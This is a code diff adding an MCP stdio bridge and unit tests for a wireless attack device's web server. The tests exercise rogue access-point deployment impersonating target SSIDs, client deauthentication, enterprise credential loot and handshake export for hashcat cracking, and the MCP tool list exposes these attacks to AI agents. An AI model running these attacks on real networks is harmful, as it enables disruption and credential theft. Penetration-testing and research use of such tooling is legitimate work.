settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>',
|
||||
search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>',
|
||||
first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>',
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,65 @@
|
||||
#!/usr/bin/env python3
|
||||
"""stdio bridge to the Mark VIII MCP server.
|
||||
|
||||
Agents that only support stdio transport can run:
|
||||
|
||||
MCP_URL=http://172.16.52.1:8080/mcp \
|
||||
MCP_TOKEN=<device session token> \
|
||||
python3 scripts/harness_stdio.py
|
||||
|
||||
JSON-RPC messages are read line-by-line from stdin (one JSON object per
|
||||
line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP
|
||||
MCP endpoint. Responses are printed back on stdout as single-line JSON.
|
||||
|
||||
Get a token from the Mark VIII Harness page, or fetch one:
|
||||
|
||||
curl -s -X POST http://172.16.52.1:8080/api/login \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"username":"root","password":"<device password>"}' \
|
||||
-c cookies.txt
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import urllib.request
|
||||
|
||||
URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp')
|
||||
TOKEN = os.environ.get('MCP_TOKEN', '')
|
||||
|
||||
|
||||
def forward(msg):
|
||||
data = json.dumps(msg).encode()
|
||||
req = urllib.request.Request(URL, data=data, method='POST')
|
||||
req.add_header('Content-Type', 'application/json')
|
||||
req.add_header('Accept', 'application/json, text/event-stream')
|
||||
if TOKEN:
|
||||
req.add_header('Authorization', 'Bearer ' + TOKEN)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=120) as resp:
|
||||
return resp.read().decode()
|
||||
except urllib.error.HTTPError as exc:
|
||||
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
|
||||
'error': {'code': exc.code, 'message': exc.read().decode()[:300]}})
|
||||
except Exception as exc: # noqa: BLE001
|
||||
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
|
||||
'error': {'code': -32000, 'message': str(exc)}})
|
||||
|
||||
|
||||
def main():
|
||||
if not TOKEN:
|
||||
print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr)
|
||||
for line in sys.stdin:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
msg = json.loads(line)
|
||||
except ValueError:
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': None,
|
||||
'error': {'code': -32700, 'message': 'parse error'}}))
|
||||
continue
|
||||
print(forward(msg), flush=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,326 @@
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None, query=None):
|
||||
return type('C', (), {'body': body, 'args': (), 'query': query or {}})()
|
||||
|
||||
|
||||
class FakeUciDevice:
|
||||
"""In-memory uci + device_run fake: 'uci set wireless.X=Y' state."""
|
||||
|
||||
def __init__(self):
|
||||
self.state = {}
|
||||
self.runs = []
|
||||
self.sock = []
|
||||
self._verify = True
|
||||
|
||||
def device_run(self, args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.state[k] = v
|
||||
elif a[:2] == ['uci', 'get']:
|
||||
return (0, self.state.get(a[2], '') + '\n', '')
|
||||
elif a[:2] == ['uci', 'delete']:
|
||||
for k in list(self.state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.state[k]
|
||||
elif a[:2] == ['uci', 'commit']:
|
||||
pass
|
||||
elif a[0] == 'uci' and a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
|
||||
return (0, 'state=ENABLED\nssid[0]=test\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
def uci_iface(self, name):
|
||||
cfg = {}
|
||||
prefix = 'wireless.%s.' % name
|
||||
for k, v in self.state.items():
|
||||
if k.startswith(prefix):
|
||||
cfg[k[len(prefix):]] = v
|
||||
if not cfg:
|
||||
return {}
|
||||
return cfg
|
||||
|
||||
def daemon_sock_call(self, method, path, body=None, timeout=10):
|
||||
self.sock.append((method, path, body))
|
||||
if path == '/api/pineap/hostapd/get_config':
|
||||
return 200, {'pineape_disabled': False, 'pineape_auth_pass': True}
|
||||
if path == '/api/pineap/get_config':
|
||||
return 200, {'autossidpool': True}
|
||||
return 200, {'success': True}
|
||||
|
||||
|
||||
class AttacksDeployTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
server.device_run = self.f.device_run
|
||||
server.daemon_sock_call = self.f.daemon_sock_call
|
||||
server._uci_wifi_iface = self.f.uci_iface
|
||||
server._uci_section = self.f.uci_iface
|
||||
server._verify_iface = lambda name, timeout=20: self.f._verify
|
||||
server._allow_all_ssids = lambda: True
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
|
||||
self.old_state = server.PINEAP_STATE_FILE
|
||||
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent = {k: getattr(server, k) for k in
|
||||
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
|
||||
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
|
||||
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
|
||||
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
|
||||
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent_running = server._ent_running
|
||||
self.old_ent_state = server._ent_state_loaded
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
|
||||
def tearDown(self):
|
||||
server.PINEAP_STATE_FILE = self.old_state
|
||||
server._ent_running = self.old_ent_running
|
||||
server._ent_state_loaded = self.old_ent_state
|
||||
for k, v in self.old_ent.items():
|
||||
setattr(server, k, v)
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['ok'])
|
||||
self.assertTrue(payload['verified'])
|
||||
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa')
|
||||
self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet')
|
||||
self.assertEqual(cfg['configs'][0]['key'], 'secretpass1')
|
||||
self.assertEqual(cfg['configs'][0]['enctype'], 'psk2')
|
||||
engines = [s for s in self.f.sock
|
||||
if s[1] in ('/api/pineap/hostapd/enable_pineap',
|
||||
'/api/pineap/mimic/enable')]
|
||||
self.assertEqual(len(engines), 2)
|
||||
|
||||
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
|
||||
server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_wpa_5g_writes_radio1(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp')
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2')
|
||||
self.assertEqual(self.f.state['wireless.radio1.channel'], '36')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
self.assertEqual(payload['iface'], 'wlan1wpa')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
|
||||
def test_deploy_wpa_auto_channel_defaults_to_1_without_recon(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'UnknownNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['auto'])
|
||||
self.assertEqual(payload['channel'], 1)
|
||||
self.assertEqual(payload['band'], server.BAND_2G)
|
||||
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['channel'], 1)
|
||||
|
||||
def test_deploy_wpa_auto_channel_uses_recon_target_channel(self):
|
||||
db = self._make_recon_db()
|
||||
old = server.RECON_DB
|
||||
server.RECON_DB = db
|
||||
try:
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'Anderson-5', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False}))
|
||||
finally:
|
||||
server.RECON_DB = old
|
||||
os.unlink(db)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['channel'], 149)
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
self.assertEqual(self.f.state['wireless.radio1.channel'], '149')
|
||||
|
||||
def _make_recon_db(self):
|
||||
fd, db = tempfile.mkstemp(suffix='.db')
|
||||
os.close(fd)
|
||||
conn = sqlite3.connect(db)
|
||||
conn.executescript(
|
||||
'CREATE TABLE scan(id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT,'
|
||||
' time INT, name TEXT);'
|
||||
'CREATE TABLE wifi_device(hash INT PRIMARY KEY, scan INT, mac TEXT,'
|
||||
' time INT, signal INT, freq INT, packets INT);'
|
||||
'CREATE TABLE ssid(hash INT PRIMARY KEY, wifi_device INT, scan INT,'
|
||||
' type INT, bssid TEXT, ssid BLOB, hidden INT, time INT, signal INT,'
|
||||
' freq INT, channel INT, encryption INT);')
|
||||
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u1', 1, 'pager')")
|
||||
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden,"
|
||||
" time, signal, freq, channel, encryption) VALUES"
|
||||
" (10, 1, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0,"
|
||||
" 1786466532, -76, 5745, 149, 0x400400108)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
return db
|
||||
|
||||
def test_deploy_open_2g4_includes_bssid_and_country(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'open', 'ssid': 'Guest', 'hidden': False,
|
||||
'channel': 1, 'country': 'US',
|
||||
'bssid': 'DE:AD:BE:EF:00:01'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan0open')
|
||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
|
||||
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
|
||||
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan1ent')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
|
||||
'type', 'managed'], cmds)
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
|
||||
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
|
||||
server.ENT_CONF], cmds)
|
||||
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
|
||||
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_enterprise_tears_down_engine(self):
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('wlan1ent', payload['stopped'])
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_validation(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short',
|
||||
'enctype': 'psk2', 'channel': 1}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'channel': 200}))
|
||||
self.assertEqual(status, 400)
|
||||
status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_wpa_disables_both_bands(self):
|
||||
self.f.state['wireless.wlan0wpa.disabled'] = '0'
|
||||
self.f.state['wireless.wlan1wpa.disabled'] = '0'
|
||||
self.f.state['pineapd.wlan1mon.hop'] = '0'
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1')
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1')
|
||||
self.assertIn('wlan0wpa', payload['stopped'])
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1')
|
||||
|
||||
|
||||
class AttacksDeauthTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
self.f._verify = True
|
||||
server.device_run = self.f.device_run
|
||||
server.daemon_sock_call = self.f.daemon_sock_call
|
||||
server._uci_wifi_iface = self.f.uci_iface
|
||||
|
||||
def test_deauth_2g4_uses_wlan0mon_inject(self):
|
||||
status, payload = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['inject'], 'wlan0mon')
|
||||
calls = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
|
||||
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'11:22:33:44:55:66', '6'], calls)
|
||||
|
||||
def test_deauth_5g_keeps_wlan1mon_inject(self):
|
||||
status, payload = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||
'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['inject'], 'wlan1mon')
|
||||
|
||||
def test_deauth_bad_macs_rejected(self):
|
||||
status, _ = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
|
||||
class AttacksExportTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
self.f._verify = True
|
||||
server.device_run = self.f.device_run
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.f.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[0] == 'ls':
|
||||
return (0, 'a.pcap\nb.cap\n', '')
|
||||
if a[0] == 'hcxpcapngtool':
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
|
||||
self._real_exists = os.path.exists
|
||||
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
|
||||
server.os.path.getsize = lambda p: 12
|
||||
|
||||
def tearDown(self):
|
||||
server.os.path.exists = self._real_exists
|
||||
try:
|
||||
os.unlink('/tmp/mk8test.hc22000')
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def test_export_converts_captures(self):
|
||||
status, payload = server.h_attacks_export_hc22000(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['size'], 12)
|
||||
self.assertIn('hashcat -m 22000', payload['hashcat'])
|
||||
hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0]
|
||||
self.assertEqual(hc[1], '-o')
|
||||
self.assertTrue(hc[2].startswith('/root/loot/hc22000/'))
|
||||
self.assertTrue(hc[2].endswith('.hc22000'))
|
||||
self.assertIn('/root/loot/handshakes/a.pcap', hc)
|
||||
self.assertIn('/root/loot/pcap/b.cap', hc)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,140 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class HealthCheckTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.runs = []
|
||||
self.ping_ok = True
|
||||
self.sigsegvs = 0
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||
self.uci_state = {}
|
||||
server._health.update({
|
||||
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
|
||||
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
|
||||
self.old_iface_up = server._iface_up
|
||||
server._iface_up = lambda name: self.iface_up.get(name, True)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), timeout))
|
||||
a = list(args)
|
||||
if a[0] == 'pidof' and a[1] == 'pineapd':
|
||||
if self.ping_ok:
|
||||
return (0, '12345\n', '')
|
||||
return (1, '', '')
|
||||
if a[0] == 'logread':
|
||||
return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci_state[k] = v
|
||||
if a[:2] == ['uci', 'delete']:
|
||||
for k in list(self.uci_state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.uci_state[k]
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (0, self.uci_state.get(a[2], '') + '\n', '')
|
||||
if a[0] == 'uci' and a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server._iface_up = self.old_iface_up
|
||||
|
||||
def test_pineap_up_reports_no_action(self):
|
||||
result = server.health_check()
|
||||
self.assertTrue(result['pineap_up'])
|
||||
self.assertIsNone(result['last_action'])
|
||||
self.assertEqual([r[0] for r in self.runs], [['pidof', 'pineapd']],
|
||||
'health check must not write to the pineapd socket')
|
||||
|
||||
def test_pineap_up_repairs_dropped_monitors(self):
|
||||
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
|
||||
result = server.health_check()
|
||||
self.assertTrue(result['pineap_up'])
|
||||
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
|
||||
self.assertEqual(result['monitor_fixes'], 1)
|
||||
|
||||
def test_down_with_growing_sigsegv_disables_pool(self):
|
||||
self.ping_ok = False
|
||||
self.sigsegs = 5
|
||||
result = server.health_check()
|
||||
self.assertIn('pool broadcast disabled', result['last_action'])
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
|
||||
self.assertEqual(result['fixes'], 1)
|
||||
|
||||
def test_down_with_pool_already_disabled_restarts_pineapd(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.uci_state['pineapd.wlan2mon.disable'] = '1'
|
||||
self.uci_state['pineapd.wlan2mon.hop'] = '0'
|
||||
self.uci_state['pineapd.wlan1mon.bands'] = '5'
|
||||
self.uci_state['pineapd.wlan0mon.bands'] = '2'
|
||||
self.uci_state['pineapd.wlan1mon.hop'] = '0'
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'pineapd restart')
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
|
||||
|
||||
def test_down_stabilizes_known_crash_sources(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
result = server.health_check()
|
||||
self.assertEqual(self.uci_state['pineapd.wlan2mon.disable'], '1')
|
||||
self.assertEqual(self.uci_state['pineapd.wlan1mon.bands'], '5')
|
||||
self.assertIn('stabilized', result['last_action'])
|
||||
|
||||
def test_down_clears_refilled_pool_list(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
|
||||
result = server.health_check()
|
||||
self.assertNotIn('pineapd.@ssidpool[0].ssid', self.uci_state)
|
||||
self.assertIn('pool-list cleared', result['last_action'])
|
||||
|
||||
def test_down_without_crash_brings_monitors_up(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': False}
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
|
||||
|
||||
def test_down_disables_pool_regardless_of_sigsegv_history(self):
|
||||
self.ping_ok = False
|
||||
server._health['sigsegv_last'] = 4
|
||||
result = server.health_check()
|
||||
self.assertIn('SSID pool broadcast disabled', result['last_action'])
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
|
||||
|
||||
def test_fix_cooldown_prevents_thrash(self):
|
||||
self.ping_ok = False
|
||||
server._health['last_fix'] = server.time.time() - 30
|
||||
server.health_check()
|
||||
server.health_check()
|
||||
fixes = [r for r in self.runs if r[0][0] == '/etc/init.d/pineapd']
|
||||
self.assertEqual(len(fixes), 1, 'cooldown must allow only one restart')
|
||||
|
||||
def test_health_endpoint_shape(self):
|
||||
server._health['sigsegv_last'] = 7
|
||||
status, payload = server.h_health(type('C', (), {'query': {}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['sigsegv_count'], 7)
|
||||
self.assertIn('wlan1mon_up', payload)
|
||||
self.assertIn('pool_disabled', payload)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,123 @@
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None, headers=None):
|
||||
H = type('H', (), {'headers': headers or {}})()
|
||||
return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})()
|
||||
|
||||
|
||||
class McpDispatchTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-mcp-')
|
||||
self.old_session = server.SESSION_FILE
|
||||
self.old_device_run = server.device_run
|
||||
self.old_daemon_sock_call = server.daemon_sock_call
|
||||
server.SESSION_FILE = os.path.join(self.tmp, 'session.json')
|
||||
with open(server.SESSION_FILE, 'w') as f:
|
||||
import json
|
||||
json.dump({'token': 't0k3n', 'serverid': 'x'}, f)
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (0, '', '')
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {
|
||||
'pineap_disabled': False, 'pineape_disabled': True,
|
||||
'autossidpool': True})
|
||||
|
||||
def tearDown(self):
|
||||
server.SESSION_FILE = self.old_session
|
||||
server.device_run = self.old_device_run
|
||||
server.daemon_sock_call = self.old_daemon_sock_call
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def msg(self, method, params=None, mid=1, jsonrpc='2.0'):
|
||||
m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method}
|
||||
if params is not None:
|
||||
m['params'] = params
|
||||
return m
|
||||
|
||||
def test_initialize_negotiates_protocol(self):
|
||||
status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['result']['protocolVersion'], '2025-06-18')
|
||||
self.assertIn('tools', body['result']['capabilities'])
|
||||
self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii')
|
||||
|
||||
def test_tools_list_has_attack_and_recon_tools(self):
|
||||
status, body = server._mcp_dispatch(self.msg('tools/list'))
|
||||
names = [t['name'] for t in body['result']['tools']]
|
||||
self.assertIn('attack.deploy', names)
|
||||
self.assertIn('device.state', names)
|
||||
self.assertIn('recon.isearch', names)
|
||||
self.assertIn('loot.enterprise_creds', names)
|
||||
|
||||
def test_tools_call_unknown_tool_errors(self):
|
||||
status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}}))
|
||||
self.assertEqual(body['error']['code'], -32602)
|
||||
|
||||
def test_ping(self):
|
||||
status, body = server._mcp_dispatch(self.msg('ping'))
|
||||
self.assertEqual(body['result'], {})
|
||||
|
||||
def test_notifications_initialized_returns_202(self):
|
||||
status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'})
|
||||
self.assertEqual(status, 202)
|
||||
self.assertIsNone(body)
|
||||
|
||||
